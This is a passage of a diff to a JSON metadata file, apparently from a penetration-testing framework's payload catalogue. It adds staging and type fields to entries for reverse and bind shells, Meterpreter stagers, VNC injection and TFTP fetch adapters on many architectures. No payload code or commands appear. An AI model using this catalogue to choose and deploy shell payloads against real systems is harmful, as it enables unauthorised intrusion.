"payload_cmd/windows/tftp/x64/shell_bind_tcp": { "name": "TFTP Fetch, Windows x64 Command Shell, Bind TCP Inline", @@ -207022,7 +210920,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/shell_bind_tcp", + "staged": false }, "payload_cmd/windows/tftp/x64/shell_reverse_tcp": { "name": "TFTP Fetch, Windows x64 Command Shell, Reverse TCP Inline", @@ -207057,7 +210959,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/shell_reverse_tcp", + "staged": false }, "payload_cmd/windows/tftp/x64/vncinject/bind_ipv6_tcp": { "name": "TFTP Fetch, Windows x64 IPv6 Bind TCP Stager", @@ -207093,7 +210999,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/vncinject/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, "payload_cmd/windows/tftp/x64/vncinject/bind_ipv6_tcp_uuid": { "name": "TFTP Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", @@ -207130,7 +211042,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/vncinject/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, "payload_cmd/windows/tftp/x64/vncinject/bind_named_pipe": { "name": "TFTP Fetch, Windows x64 Bind Named Pipe Stager", @@ -207167,7 +211085,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/vncinject/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_named_pipe" }, "payload_cmd/windows/tftp/x64/vncinject/bind_tcp": { "name": "TFTP Fetch, Windows x64 Bind TCP Stager", @@ -207203,7 +211127,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/vncinject/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_tcp" }, "payload_cmd/windows/tftp/x64/vncinject/bind_tcp_rc4": { "name": "TFTP Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -207244,7 +211174,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/vncinject/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_tcp_rc4" }, "payload_cmd/windows/tftp/x64/vncinject/bind_tcp_uuid": { "name": "TFTP Fetch, Bind TCP Stager with UUID Support (Windows x64)", @@ -207281,7 +211217,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/vncinject/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_tcp_uuid" }, "payload_cmd/windows/tftp/x64/vncinject/reverse_http": { "name": "TFTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", @@ -207318,7 +211260,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/vncinject/reverse_http", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_http" }, "payload_cmd/windows/tftp/x64/vncinject/reverse_https": { "name": "TFTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", @@ -207357,7 +211305,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/vncinject/reverse_https", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_https" }, "payload_cmd/windows/tftp/x64/vncinject/reverse_tcp": { "name": "TFTP Fetch, Windows x64 Reverse TCP Stager", @@ -207393,7 +211347,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/vncinject/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_tcp" }, "payload_cmd/windows/tftp/x64/vncinject/reverse_tcp_rc4": { "name": "TFTP Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -207434,7 +211394,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/vncinject/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, "payload_cmd/windows/tftp/x64/vncinject/reverse_tcp_uuid": { "name": "TFTP Fetch, Reverse TCP Stager with UUID Support (Windows x64)", @@ -207471,7 +211437,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/vncinject/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, "payload_cmd/windows/tftp/x64/vncinject/reverse_winhttp": { "name": "TFTP Fetch, Windows x64 Reverse HTTP Stager (winhttp)", @@ -207508,7 +211480,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/vncinject/reverse_winhttp", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_winhttp" }, "payload_cmd/windows/tftp/x64/vncinject/reverse_winhttps": { "name": "TFTP Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", @@ -207545,7 +211523,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/vncinject/reverse_winhttps", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_winhttps" }, "payload_firefox/exec": { "name": "Firefox XPCOM Execute Command", @@ -207579,7 +211563,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_firefox/shell_bind_tcp": { "name": "Command Shell, Bind TCP (via Firefox XPCOM script)", @@ -207613,7 +211599,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_firefox/shell_reverse_tcp": { "name": "Command Shell, Reverse TCP (via Firefox XPCOM script)", @@ -207647,7 +211635,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_generic/custom": { "name": "Custom Payload", @@ -207681,7 +211671,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_generic/debug_trap": { "name": "Generic x86 Debug Trap", @@ -207715,7 +211707,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_generic/shell_bind_aws_ssm": { "name": "Command Shell, Bind SSM (via AWS API)", @@ -207749,7 +211743,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_generic/shell_bind_tcp": { "name": "Generic Command Shell, Bind TCP Inline", @@ -207783,7 +211779,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_generic/shell_reverse_tcp": { "name": "Generic Command Shell, Reverse TCP Inline", @@ -207817,7 +211815,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_generic/ssh/interact": { "name": "Interact with Established SSH Connection", @@ -207851,7 +211851,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_generic/tight_loop": { "name": "Generic x86 Tight Loop", @@ -207885,7 +211887,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_java/jsp_shell_bind_tcp": { "name": "Java JSP Command Shell, Bind TCP Inline", @@ -207919,7 +211923,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_java/jsp_shell_reverse_tcp": { "name": "Java JSP Command Shell, Reverse TCP Inline", @@ -207953,7 +211959,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_java/meterpreter/bind_tcp": { "name": "Java Meterpreter, Java Bind TCP Stager", @@ -207989,7 +211997,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "java/meterpreter", + "stager_refname": "java/bind_tcp" }, "payload_java/meterpreter/reverse_http": { "name": "Java Meterpreter, Java Reverse HTTP Stager", @@ -208026,7 +212038,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "java/meterpreter", + "stager_refname": "java/reverse_http" }, "payload_java/meterpreter/reverse_https": { "name": "Java Meterpreter, Java Reverse HTTPS Stager", @@ -208063,7 +212079,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "java/meterpreter", + "stager_refname": "java/reverse_https" }, "payload_java/meterpreter/reverse_tcp": { "name": "Java Meterpreter, Java Reverse TCP Stager", @@ -208099,7 +212119,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "java/meterpreter", + "stager_refname": "java/reverse_tcp" }, "payload_java/shell/bind_tcp": { "name": "Command Shell, Java Bind TCP Stager", @@ -208134,7 +212158,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "java/shell", + "stager_refname": "java/bind_tcp" }, "payload_java/shell/reverse_tcp": { "name": "Command Shell, Java Reverse TCP Stager", @@ -208169,7 +212197,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "java/shell", + "stager_refname": "java/reverse_tcp" }, "payload_java/shell_reverse_tcp": { "name": "Java Command Shell, Reverse TCP Inline", @@ -208204,7 +212236,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/aarch64/meterpreter/reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Stager", @@ -208238,7 +212272,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/aarch64/meterpreter", + "stager_refname": "linux/aarch64/reverse_tcp" }, "payload_linux/aarch64/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", @@ -208274,7 +212312,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/aarch64/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", @@ -208310,7 +212350,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/aarch64/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", @@ -208346,7 +212388,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/aarch64/shell/reverse_tcp": { "name": "Linux dup2 Command Shell, Reverse TCP Stager", @@ -208380,7 +212424,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/aarch64/shell", + "stager_refname": "linux/aarch64/reverse_tcp" }, "payload_linux/aarch64/shell_reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", @@ -208414,7 +212462,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/armbe/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", @@ -208450,7 +212500,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/armbe/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", @@ -208486,7 +212538,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/armbe/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", @@ -208522,7 +212576,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/armbe/shell_bind_tcp": { "name": "Linux ARM Big Endian Command Shell, Bind TCP Inline", @@ -208556,7 +212612,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/armle/adduser": { "name": "Linux Add User", @@ -208590,7 +212648,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/armle/exec": { "name": "Linux Execute Command", @@ -208624,7 +212684,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/armle/meterpreter/bind_tcp": { "name": "Linux Meterpreter, Bind TCP Stager", @@ -208659,7 +212721,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/armle/meterpreter", + "stager_refname": "linux/armle/bind_tcp" }, "payload_linux/armle/meterpreter/reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Stager", @@ -208695,7 +212761,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/armle/meterpreter", + "stager_refname": "linux/armle/reverse_tcp" }, "payload_linux/armle/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", @@ -208731,7 +212801,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/armle/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", @@ -208767,7 +212839,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/armle/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", @@ -208803,7 +212877,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/armle/shell/bind_tcp": { "name": "Linux dup2 Command Shell, Bind TCP Stager", @@ -208837,7 +212913,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/armle/shell", + "stager_refname": "linux/armle/bind_tcp" }, "payload_linux/armle/shell/reverse_tcp": { "name": "Linux dup2 Command Shell, Reverse TCP Stager", @@ -208872,7 +212952,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/armle/shell", + "stager_refname": "linux/armle/reverse_tcp" }, "payload_linux/armle/shell_bind_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", @@ -208907,7 +212991,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/armle/shell_reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", @@ -208941,7 +213027,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mips64/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", @@ -208977,7 +213065,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mips64/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", @@ -209013,7 +213103,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mips64/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", @@ -209049,7 +213141,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mipsbe/exec": { "name": "Linux Execute Command", @@ -209084,7 +213178,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mipsbe/meterpreter/reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Stager", @@ -209120,7 +213216,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/mipsbe/meterpreter", + "stager_refname": "linux/mipsbe/reverse_tcp" }, "payload_linux/mipsbe/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", @@ -209156,7 +213256,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mipsbe/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", @@ -209192,7 +213294,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mipsbe/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", @@ -209228,7 +213332,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mipsbe/reboot": { "name": "Linux Reboot", @@ -209263,7 +213369,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mipsbe/shell/reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Stager", @@ -209298,7 +213406,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/mipsbe/shell", + "stager_refname": "linux/mipsbe/reverse_tcp" }, "payload_linux/mipsbe/shell_bind_tcp": { "name": "Linux Command Shell, Bind TCP Inline", @@ -209335,7 +213447,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mipsbe/shell_reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", @@ -209370,7 +213484,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mipsle/exec": { "name": "Linux Execute Command", @@ -209405,7 +213521,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mipsle/meterpreter/reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Stager", @@ -209441,7 +213559,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/mipsle/meterpreter", + "stager_refname": "linux/mipsle/reverse_tcp" }, "payload_linux/mipsle/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", @@ -209477,7 +213599,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mipsle/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", @@ -209513,7 +213637,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mipsle/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", @@ -209549,7 +213675,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mipsle/reboot": { "name": "Linux Reboot", @@ -209584,7 +213712,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mipsle/shell/reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Stager", @@ -209619,7 +213749,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/mipsle/shell", + "stager_refname": "linux/mipsle/reverse_tcp" }, "payload_linux/mipsle/shell_bind_tcp": { "name": "Linux Command Shell, Bind TCP Inline", @@ -209656,7 +213790,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/mipsle/shell_reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", @@ -209691,7 +213827,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/ppc/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", @@ -209727,7 +213865,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/ppc/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", @@ -209763,7 +213903,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/ppc/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", @@ -209799,7 +213941,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/ppc/shell_bind_tcp": { "name": "Linux Command Shell, Bind TCP Inline", @@ -209833,7 +213977,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/ppc/shell_find_port": { "name": "Linux Command Shell, Find Port Inline", @@ -209867,7 +214013,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/ppc/shell_reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", @@ -209901,7 +214049,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/ppc64/shell_bind_tcp": { "name": "Linux Command Shell, Bind TCP Inline", @@ -209935,7 +214085,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/ppc64/shell_find_port": { "name": "Linux Command Shell, Find Port Inline", @@ -209969,7 +214121,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/ppc64/shell_reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", @@ -210003,7 +214157,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/ppc64le/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", @@ -210039,7 +214195,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/ppc64le/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", @@ -210075,7 +214233,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/ppc64le/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", @@ -210111,7 +214271,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/ppce500v2/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", @@ -210147,7 +214309,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/ppce500v2/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", @@ -210183,7 +214347,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/ppce500v2/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", @@ -210219,7 +214385,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x64/exec": { "name": "Linux Execute Command", @@ -210254,7 +214422,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x64/meterpreter/bind_tcp": { "name": "Linux Mettle x64, Bind TCP Stager", @@ -210289,7 +214459,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x64/meterpreter", + "stager_refname": "linux/x64/bind_tcp" }, "payload_linux/x64/meterpreter/reverse_sctp": { "name": "Linux Mettle x64, Reverse SCTP Stager", @@ -210324,7 +214498,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x64/meterpreter", + "stager_refname": "linux/x64/reverse_sctp" }, "payload_linux/x64/meterpreter/reverse_tcp": { "name": "Linux Mettle x64, Reverse TCP Stager", @@ -210360,7 +214538,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x64/meterpreter", + "stager_refname": "linux/x64/reverse_tcp" }, "payload_linux/x64/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", @@ -210396,7 +214578,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x64/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", @@ -210432,7 +214616,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x64/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", @@ -210468,7 +214654,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x64/pingback_bind_tcp": { "name": "Linux x64 Pingback, Bind TCP Inline", @@ -210502,7 +214690,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x64/pingback_reverse_tcp": { "name": "Linux x64 Pingback, Reverse TCP Inline", @@ -210536,7 +214726,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x64/shell/bind_tcp": { "name": "Linux Command Shell, Bind TCP Stager", @@ -210570,7 +214762,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x64/shell", + "stager_refname": "linux/x64/bind_tcp" }, "payload_linux/x64/shell/reverse_sctp": { "name": "Linux Command Shell, Reverse SCTP Stager", @@ -210605,7 +214801,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x64/shell", + "stager_refname": "linux/x64/reverse_sctp" }, "payload_linux/x64/shell/reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Stager", @@ -210640,7 +214840,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x64/shell", + "stager_refname": "linux/x64/reverse_tcp" }, "payload_linux/x64/shell_bind_ipv6_tcp": { "name": "Linux x64 Command Shell, Bind TCP Inline 